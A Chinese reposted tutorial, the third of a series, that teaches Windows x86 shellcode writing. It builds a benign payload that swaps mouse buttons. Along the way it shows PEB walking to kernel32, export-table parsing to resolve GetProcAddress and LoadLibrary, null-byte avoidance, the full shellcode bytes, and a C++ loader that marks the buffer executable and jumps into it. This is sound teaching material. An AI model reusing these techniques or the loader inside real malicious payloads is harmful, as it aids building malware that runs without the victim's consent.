转载

Windows平台shellcode开发入门(三)

一、简介

在“Windows平台shellcode开发入门”系列的最后一部分,我们将会编写一个简单的”wapMouseButton“的shellcode,该shellcode会互换鼠标的左键和右键。文中涉及的基础知识已在前两篇文章中介绍,本文不再详述,有需要的朋友可以阅读本系列的第一部分和第二部分。我们先从一个已知shellcode着手: Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode 。此名称可以透漏shellcode的相关功能,比如它使用:

  1. URLDownloadToFile Windows API函数下载文件
  2. WinExec执行文件(可执行文件:.exe)
  3. ExitProcess终止运行shellcode的进程

使用这个示例程序,我们需要调用 SwapMouseButton 函数和 ExitProcess 函数。

BOOL WINAPI SwapMouseButton(   _In_ BOOL fSwap );  VOID WINAPI ExitProcess(   _In_ UINT uExitCode ); 

正如你看到的,每个函数只需要1个参数:

  1. fSwap参数可以是TRUE或FALSE,鼠标的按键便会被互换,否则被恢复。
  2. uExitCode表示进程退出码。每个进程在退出时必须返回一个值(如果一切顺利的话,返回值为零,否则返回其他数值)。这是为什么 main 函数通常需要 return 0

二、程序概览

现在我们需要调用这两个函数。在C++中,调用过程非常简单:

Windows平台shellcode开发入门(三)

因为编译器知道去链接“user32”函数库,然后查找相关函数。但是我们需要在shellcode手动完成这个过程。我们需要手动加载“user32”库,找到 SwapMouseButton 函数的地址,并进行调用。

Windows平台shellcode开发入门(三)

但是,此处编译器已经知道 LoadLibraryGetProcAddress 函数的地址。在shellcode中,我们需要通过编程的方式来寻找。

注意我们不需要在C++中调用 ExitProcess 函数,因为main函数在执行 return 0 之后,程序便会终止运行。但从shellcode上,我们需要确保程序能够”优雅地“终止而不是“崩掉”(crash)。

三、逐步编写shellcode

在前面几部分已经讨论过,为了制作出稳定可靠的shellcode,我们需要遵循以下的步骤。我们已经知道调用哪些函数,但是,我们首先需要定位这些函数的地址。所需的步骤如下:

  1. 查找kernel32.dll加载到内存的位置
  2. 找到其导出表
  3. 定位kernel32.dll导出的 GetProcAddress 函数
  4. 使用GetProcAddress函数获取 LoadLibrary 的函数地址
  5. 使用 LoadLibrary 函数加载user32.dll动态链接库
  6. 获取user32.dll中 SwapMouseButton 的函数地址
  7. 调用 SwapMouseButton 函数
  8. 查找 ExitProcess 的函数地址
  9. 调用 ExitProcess 函数

我们使用 Visual Studio 2015 开发工具来编写shellcode,当然你也可以其他版本或类似masm,nasm的汇编器。在Visual Studio开发环境中,我们使用 __asm { } 来直接编写汇编代码。请仔细阅读和理解这部分代码。

#include "stdafx.h" int main() {     __asm     {         // ASM code here     }     return 0; } 

1. 查找kernel32.dll基址

如下所示,我们可以使用下述代码查找kernel32.dll加载到内存中的位置。

xor ecx, ecx mov eax, fs:[ecx + 0x30]  ; EAX = PEB mov eax, [eax + 0xc]      ; EAX = PEB->Ldr mov esi, [eax + 0x14]     ; ESI = PEB->Ldr.InMemOrder lodsd                     ; EAX = Second module xchg eax, esi             ; EAX = ESI, ESI = EAX lodsd                     ; EAX = Third(kernel32) mov ebx, [eax + 0x10]     ; EBX = Base address 

(1-2 行):第1条指令将ecx寄存器清零,然后在下一条指令中使用。但为什么要这么做?还记得我们在前面提到过要避免“空”字节。如果第二条指令为 mov eax,fs:[30] 指令,将会汇编成机器码序列: 64 A1 30 00 00 00 ,便会出现空字节。然而 mov eax, fs:[ecx+0x30] 将会汇编成 64 8B 41 30 ,这种方式可以避免“空”字节。

(3-4 行):现在PEB指针已经保存到eax寄存器。正如上篇文章提到的,我们可以在PEB指针的0xC偏移处获得 Ldr ,然后顺着指针在 Ldr 的0×14偏移处获取模块列表。

(5-7 行):当前位于“InMemoryOrderLinks”链表的第1个模块,即“program.exe” 。此处,该结构的第1个元素是 Flink 指针,指向下一个模块。然后,我们将这个指针存放在esi寄存器。接着, lodsd 指令会根据esi寄存器指向的地址读取双字,然后把结果存放在eax寄存器。这就意味着在 lodsd 指令执行之后,我们可以通过eax寄存器获取到第2个模块的地址,即ntdll.dll。我们通过 xchg 指令交换eax和esi寄存器中的值,便把第2个模块的指针存放到esi寄存器,再次调用 lodsd 指令,从而遍历到第3个模块:kernel32.dll。

(8 行):此时,eax寄存器指向kernel32.dll的“InMemoryOrderLinks”。再加上0×10字节便可以获得“DllBase”指针,即kernel32.dll加载到内存中的位置。

2. 找到kernel32.dll的导出表

我们已经在内存中找到kernel32.dll。现在,我们需要解析PE文件,然后找到导出表。幸好,这个过程并不复杂。

mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew add edx, ebx          ; EDX = PE Header mov edx, [edx + 0x78] ; EDX = Offset export table add edx, ebx          ; EDX = Export table mov esi, [edx + 0x20] ; ESI = Offset names table add esi, ebx          ; ESI = Names table xor ecx, ecx          ; EXC = 0 

(1-2 行):我们已经知道可以在0x3C偏移处获得 e_lfanew 指针,因为MS-DOS头的大小是0×40字节,而最后4个字节就是 e_lfanew 指针。我们需要把基地址加上这个偏移值,因为这个指针是相对于基地址的(只是个偏移值,不是绝对地址)。

(3-4 行):在PE头的0×78偏移处,我们可以找到导出表的”DataDirectory“。这是因为PE头(签名,文件头,可选头)在”DataDirectory“之前的大小是0×78字节,而导出表是”DataDirectory“表的第1个元素。再次,我们把edx寄存器加上这个数值,现在已经抵达kernel32.dll的导出表。

(5-7 行):在IMAGE_EXPORT_DIRECTORY结构上,我们可以在0×20偏移处获得“AddressOfNames”的指针,从而得导出函数的名称。这个步骤是需要的,因为我们尝试通过函数名称来查找函数,尽管可以使用其他的方法。我们将指针保存到esi寄存器,然后把ecx寄存器清零。

现在,我们了解一下”AddressOfNames“,一个指针数组(此处的指针是相对于映像基址的偏移而已,即kernel32.dll加载到内存的位置)。所以每4个字节代表一个指向函数名称的指针。我们可以通过如下代码来找到函数名称和函数名称的序号(GetProcAddress函数的序号):

Get_Function: inc ecx                              ; Increment the ordinal lodsd                                ; Get name offset add eax, ebx                         ; Get function name cmp dword ptr[eax], 0x50746547       ; GetP jnz Get_Function cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA jnz Get_Function cmp dword ptr[eax + 0x8], 0x65726464 ; ddre jnz Get_Function 

(1-3 行):第1行什么也没做。它只是一个标签,为某个位置起个名称,我们可以跳转这里来读取函数的名称,接下来你将会看到。在第3行,我们可以自增ecx寄存器,它是函数的计数器,也是函数的序号。

(4-5 行):esi寄存器指向第1个函数的名称。 lodsd 指令会把函数名称(比如”ExportedFunction“)的偏移存放在eax寄存器,然后ebx(存放kernel32的基址)加上这个偏移值便可以获取正确的指针。注意 lodsd 指令也会把esi寄存器值增加4。这点有助于我们,因为我们不需要手动增加它的值,我们只需要再次调用 lodsd 便可以获取下一个函数名称的指针。

(6-11 行)eax寄存器存储了导出函数名称的正确指针,而不是偏移值。因此,它指向一个函数名称的字符串,我们需要检查一下此函数是否是 GetProcAddress 。在第6行,我们把导出函数的名称和”0×50746547“进行比较,实际上是”PteG“的ASCII码值”50 74 65 47“代表。你可能猜到翻过来便是”GetP“,表示 GetProcAddress 的前4个字节,但由于x86使用little-endian模式,意味着数字在内存中是逆序排列的。因此,我们实际上是比较当前函数名前4个字节是否是”GetP“。如果不匹配, jnz 指令跳转到 Get_Function 标签,继续比较下一个函数名。如果匹配,我们也会比较后4个字节,必须是”rocA“,再后面4个字节是”ddre“,从而确保排除以”GetP“开头的其他函数。

3. 找到 GetProcAddress 函数地址

此时,我们只是找到GetProcAddress函数的序号,但是我们可以利用序号来找到函数的实际地址:

mov esi, [edx + 0x24]    ; ESI = Offset ordinals add esi, ebx             ; ESI = Ordinals table mov cx, [esi + ecx * 2]  ; CX = Number of function dec ecx mov esi, [edx + 0x1c]    ; ESI = Offset address table add esi, ebx             ; ESI = Address table mov edx, [esi + ecx * 4] ; EDX = Pointer(offset) add edx, ebx             ; EDX = GetProcAddress 

(1-2 行):此处,edx寄存器指向 IMAGE_EXPORT_DIRECTORY 结构。在此结构的0×24偏移处,我们可以找到 AddressOfNameOrdinals 偏移。在第2行,这个偏移值加上ebx寄存器,即kernel32.dll基地址,我们可以获得指向名称序号表的有效指针。

(3-4 行):esi寄存器指向指向名称序号数组。这个数组包含2字节大小的数字。我们已经知道 GetProcAddress 函数名称的序号(索引)存储在ecx寄存器,因此我们便可以获得函数地址的序号(索引)。这可以帮助我们获取函数的地址。我们需要递减这个数字,因为名称序号从0开始的。

(5-6 行):在0x1c偏移处,我们可以找到 AddressOfFunctions ,指向函数指针的数组。我们只需加上kernel32.dll的基地址便可以访问这个数组的开始位置。

(7-8 行):现在,ecx寄存器存储了 AddressOfFunctions 数组的索引值,我们可以从AddressOfFunctions[ecx]位置读取 GetProcAddress 的函数指针(是相对于映像基地址的偏移)。我们使用 ecx * 4 ,因为每个指针占用4个字节,且esi指针指向数组的开始位置。在第8行,加上映像的基地址之后,edx寄存器便可以指向 GetProcAddress 函数。

4. 获取LoadLibrary函数地址

xor ecx, ecx    ; ECX = 0 push ebx        ; Kernel32 base address push edx        ; GetProcAddress push ecx        ; 0 push 0x41797261 ; aryA push 0x7262694c ; Libr push 0x64616f4c ; Load push esp        ; "LoadLibrary" push ebx        ; Kernel32 base address call edx        ; GetProcAddress(LL) 

(1-3 行):首先,我们将ecx清零,因为后续会使用。其次,在第2行和第3行,我们把ebx和edx压入栈上以备后用,其中ebx存储kernel32的基地址,edx存储GetProcAddress的函数指针。

(4-10 行):现在,我们可以进行如下调用: GetProcAddress(kernel32, “LoadLibraryA”) 。我们已经获知kernel32的基地址,但是如何使用字符串?我们再次利用栈来实现。我们需要把“LoadLibraryA/0”存放在栈上。是的,字符串必须以空字节结尾,这就是为什么需要在第4行把ecx清零后压入栈上。我需要把 LoadLibraryA 字符串拆分成4个字节一组,按照相反的顺序压入栈上。我们首先需要放置“aryA”,然后是“Libr“和”Load“,所以最终在栈上字符串将会是”LoadLibraryA“。因为我们已经把数据存入栈上,esp寄存器,即栈指针,便会指向”LoadLibraryA“字符串的开头。我们现在需要从后往前把函数参数压入栈上,因此首先在第8行把esp压入栈上,其次是在第9行把ebx,即kernel32基地址,然后我们调用存储 GetProcAddress 函数指针的edx。

注意我们安放存入在栈上的是”LoadLibraryA“,而不是“LoadLibrary”。这是因为kernel32.dll并不导出“LoadLibrary”函数,而是导出两个函数:适用于ANSI字符串参数的“LoadLibraryA”函数和适用于Unicode字符串参数的“LoadLibraryW”函数。

5. 加载 user32.dll动态链接库

上面已经获取 LoadLibrary 函数的地址,我们现在使用它来把“user32.dll”动态链接库加载到内存,这个动态链接库包含我们需要的 SwapMouseButton 函数。

add esp, 0xc    ; pop "LoadLibraryA" pop ecx         ; ECX = 0 push eax        ; EAX = LoadLibraryA push ecx mov cx, 0x6c6c  ; ll push ecx push 0x642e3233 ; 32.d push 0x72657375 ; user push esp        ; "user32.dll" call eax        ; LoadLibrary("user32.dll") 

(1-3 行):之前把“LoadLibraryA”字符串存放在栈上,所以我们现在需要清除它。最简单的方式并不是3条“pops”指令,而是仅需要把esp寄存器增加0xc(意味着12个字节的字符串)即可。在第2行,我们也需要清除函数调用之前存放在栈上的0,然后将ecx寄存器清零。我们现在需要把 LoadLibrary 函数地址从eax寄存器备份到栈上,因为调用函数之后,返回值会保存在eax寄存器,从可能把 LoadLibrary 函数地址给清除了。

(4-19 行):因为需要调用 LoadLibrary(“user32.dll”) ,所以我们需要再次在栈上存放字符串。现在的情况可能更为棘手,因为字符串的长度不是4的倍数,不能直接通过一些 push 指令进行存放。取而代之的是,我们首先把取值为0的ecx寄存器压入栈上,然后再把CX寄存器设置为“ll”字符串。CX寄存器是ecx寄存器的后半部分。所以,我们可以把它压入栈上。在第7-8行,我们把“user32.d”字符串存放在栈上,所以现在esp指向“user32.dll”字符串。我们把这个参数再压入栈上,然后调用 LoadLibrary 加载动态链接库,然后eax寄存器返回user32.dll动态链接库的基地址。

6. 获取SwapMouseButton函数地址

既然已经把user32.dl加载至内存中,我们需要调用 GetProcAddress 来获取 SwapMouseButton 函数地址。

add esp, 0x10                  ; Clean stack mov edx, [esp + 0x4]           ; EDX = GetProcAddress xor ecx, ecx                   ; ECX = 0 push ecx mov ecx, 0x616E6F74            ; tona push ecx sub dword ptr[esp + 0x3], 0x61 ; Remove "a" push 0x74754265                ; eBut push 0x73756F4D                ; Mous push 0x70617753                ; Swap push esp                       ; "SwapMouseButton" push eax                       ; user32.dll address call edx                       ; GetProc(SwapMouseButton) 

(1-2 行):像前面一样,我们需要清理一下栈。在前两行,我们把上面保存的GetProcAddress函数地址存入edx寄存器。之前提到过,在函数调用之后,eax、ecx、及edx寄存器值可能会改变,因为这些寄存器的值在函数调用过程中不会被保存下来。

(3-13 行):因为需要调用 GetProcAddress(user32.dll, “SwapMouseButton”) ,所以我们需要再次把字符串存入栈上。首先,在第3-4行,我们把ecx寄存器清零,然后压入栈上。其次,我们把“tona”压入栈上。“ton”字符串代表着“SwapMouseButton”字符串最后3个字节,但是现在后面多加了一个“a”字符。这是一个小技巧,在第7行,我们从栈上存储字符“a”的位置减去0×61.因为字符“a”的ASCII值为0×61,这就意味着把“a”字符转换成了“空(NULL)”字节。接下来,我们把字符串的其余部分压入栈上。我们把存放user32.dll基地址的eax寄存器压入栈上,然后调用 GetProcAddress 函数。

7. 调用SwapMouseButton函数

既然已经获得 SwapMouseButton 函数地址,我们只需要使用“正确的”参数进行调用即可。

add esp, 0x14 ; Cleanup stack xor ecx, ecx  ; ECX = 0 inc ecx       ; true push ecx      ; 1 call eax      ; Swap! 

(1-3 行):虽然很无聊,但我们还需要清理一下栈。我们想要调用 SwapMouseButton(true) ,即 SwapMouseButton(1) ,所以先要把“1”压入栈上。我们仅需把ecx寄存器清零,然后再加1即可。如果你需要恢复鼠标的功能,移除 inc ecx 指令即可。

虽然我们已经完成任务,但是我们想要更为”优雅地“结束进程,因此我们需要在kernel32.dll中找到 ExitProcess 函数。

add esp, 0x4                    ; Clean stack pop edx                         ; GetProcAddress pop ebx                         ; kernel32.dll base address mov ecx, 0x61737365             ; essa push ecx sub dword ptr [esp + 0x3], 0x61 ; Remove "a" push 0x636f7250                 ; Proc push 0x74697845                 ; Exit push esp push ebx                        ; kernel32.dll base address call edx                        ; GetProc(Exec) 

(1-3 行):从栈上清除”1“。我们也需要读取刚开始在栈上备份的数据, GetProcAddress 函数地址保存到edx寄存器,而kernel32基地址保存到ebx寄存器。

(4-11 行):接下来我们已经非常熟悉,把字符串”“ExitProcessa”存放在栈上,然后把最后一个”a“字符替换成“空(NULL)”字节。我们把参数存放在栈上,然后调用 GetProcAddress 来获取 ExitProcess 函数地址。

9. 调用ExitProcess函数

最后,我们像下面这样调用 ExitProcess 函数。

xor ecx, ecx ; ECX = 0 push ecx     ; Return code = 0 call eax     ; ExitProcess 

(1-3 行):我们需要在栈上压入值为0的参数,因此我们只需要把ecx清零,再压入栈上即可,然后调用 ExitProcess 。终于大功告成了!!!

现在我们把所有的部分串在一起,最终版的shellcode如下:

xor ecx, ecx mov eax, fs:[ecx + 0x30] ; EAX = PEB mov eax, [eax + 0xc]     ; EAX = PEB->Ldr mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder lodsd                    ; EAX = Second module xchg eax, esi            ; EAX = ESI, ESI = EAX lodsd                    ; EAX = Third(kernel32) mov ebx, [eax + 0x10]    ; EBX = Base address mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew add edx, ebx             ; EDX = PE Header mov edx, [edx + 0x78]    ; EDX = Offset export table add edx, ebx             ; EDX = Export table mov esi, [edx + 0x20]    ; ESI = Offset namestable add esi, ebx             ; ESI = Names table xor ecx, ecx             ; EXC = 0  Get_Function:  inc ecx                              ; Increment the ordinal lodsd                                ; Get name offset add eax, ebx                         ; Get function name cmp dword ptr[eax], 0x50746547       ; GetP jnz Get_Function cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA jnz Get_Function cmp dword ptr[eax + 0x8], 0x65726464 ; ddre jnz Get_Function mov esi, [edx + 0x24]                ; ESI = Offset ordinals add esi, ebx                         ; ESI = Ordinals table mov cx, [esi + ecx * 2]              ; Number of function dec ecx mov esi, [edx + 0x1c]                ; Offset address table add esi, ebx                         ; ESI = Address table mov edx, [esi + ecx * 4]             ; EDX = Pointer(offset) add edx, ebx                         ; EDX = GetProcAddress  xor ecx, ecx    ; ECX = 0 push ebx        ; Kernel32 base address push edx        ; GetProcAddress push ecx        ; 0 push 0x41797261 ; aryA push 0x7262694c ; Libr push 0x64616f4c ; Load push esp        ; "LoadLibrary" push ebx        ; Kernel32 base address call edx        ; GetProcAddress(LL)  add esp, 0xc    ; pop "LoadLibrary" pop ecx         ; ECX = 0 push eax        ; EAX = LoadLibrary push ecx mov cx, 0x6c6c  ; ll push ecx push 0x642e3233 ; 32.d push 0x72657375 ; user push esp        ; "user32.dll" call eax        ; LoadLibrary("user32.dll")  add esp, 0x10                  ; Clean stack mov edx, [esp + 0x4]           ; EDX = GetProcAddress xor ecx, ecx                   ; ECX = 0 push ecx mov ecx, 0x616E6F74            ; tona push ecx sub dword ptr[esp + 0x3], 0x61 ; Remove "a" push 0x74754265                ; eBut push 0x73756F4D                ; Mous push 0x70617753                ; Swap push esp                       ; "SwapMouseButton" push eax                       ; user32.dll address call edx                       ; GetProc(SwapMouseButton)  add esp, 0x14 ; Cleanup stack xor ecx, ecx  ; ECX = 0 inc ecx       ; true push ecx      ; 1 call eax      ; Swap!  add esp, 0x4                    ; Clean stack pop edx                         ; GetProcAddress pop ebx                         ; kernel32.dll base address mov ecx, 0x61737365             ; essa push ecx sub dword ptr [esp + 0x3], 0x61 ; Remove "a" push 0x636f7250                 ; Proc push 0x74697845                 ; Exit push esp push ebx                        ; kernel32.dll base address call edx                        ; GetProc(Exec) xor ecx, ecx                    ; ECX = 0 push ecx                        ; Return code = 0 call eax                        ; ExitProcess 

以上就是我们编写第一个shellcode的全部过程。

10. 测试shellcode

我们可以使用如下代码来测试shellcode。

#include "stdafx.h" #include <Windows.h>  int main() {     char *shellcode =     "/x33/xC9/x64/x8B/x41/x30/x8B/x40/x0C/x8B/x70/x14/xAD/x96/xAD/x8B/x58/x10/x8B/x53/x3C/x03/xD3/x8B/x52/x78/x03/xD3/x8B/x72/x20/x03"     "/xF3/x33/xC9/x41/xAD/x03/xC3/x81/x38/x47/x65/x74/x50/x75/xF4/x81/x78/x04/x72/x6F/x63/x41/x75/xEB/x81/x78/x08/x64/x64/x72/x65/x75"     "/xE2/x8B/x72/x24/x03/xF3/x66/x8B/x0C/x4E/x49/x8B/x72/x1C/x03/xF3/x8B/x14/x8E/x03/xD3/x33/xC9/x53/x52/x51/x68/x61/x72/x79/x41/x68"     "/x4C/x69/x62/x72/x68/x4C/x6F/x61/x64/x54/x53/xFF/xD2/x83/xC4/x0C/x59/x50/x51/x66/xB9/x6C/x6C/x51/x68/x33/x32/x2E/x64/x68/x75/x73"     "/x65/x72/x54/xFF/xD0/x83/xC4/x10/x8B/x54/x24/x04/x33/xC9/x51/xB9/x74/x6F/x6E/x61/x51/x83/x6C/x24/x03/x61/x68/x65/x42/x75/x74/x68"     "/x4D/x6F/x75/x73/x68/x53/x77/x61/x70/x54/x50/xFF/xD2/x83/xC4/x14/x33/xC9"     "/x41" // inc ecx - Remove this to restore the functionality     "/x51/xFF/xD0/x83/xC4/x04/x5A/x5B/xB9/x65/x73/x73/x61"     "/x51/x83/x6C/x24/x03/x61/x68/x50/x72/x6F/x63/x68/x45/x78/x69/x74/x54/x53/xFF/xD2/x33/xC9/x51/xFF/xD0";      // Set memory as executable      DWORD old = 0;     BOOL ret = VirtualProtect(shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &old);      // Call the shellcode      __asm     {         jmp shellcode;     }      return 0; } 

结论

希望你已经了解Windows shellcode的工作原理,而且已经具备自定义ASM代码的能力。即使这个shellcode 并没有什么用处,但是这是一个编写自己shellcode的不错起点。我建议你动手编写自己的shellcode,以便真正理解编写这类代码背后的挑战。

参考来源: securitycafe ,FB资深作者Rabbit_Run翻译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

原文  http://www.freebuf.com/articles/97215.html
正文到此结束
Loading...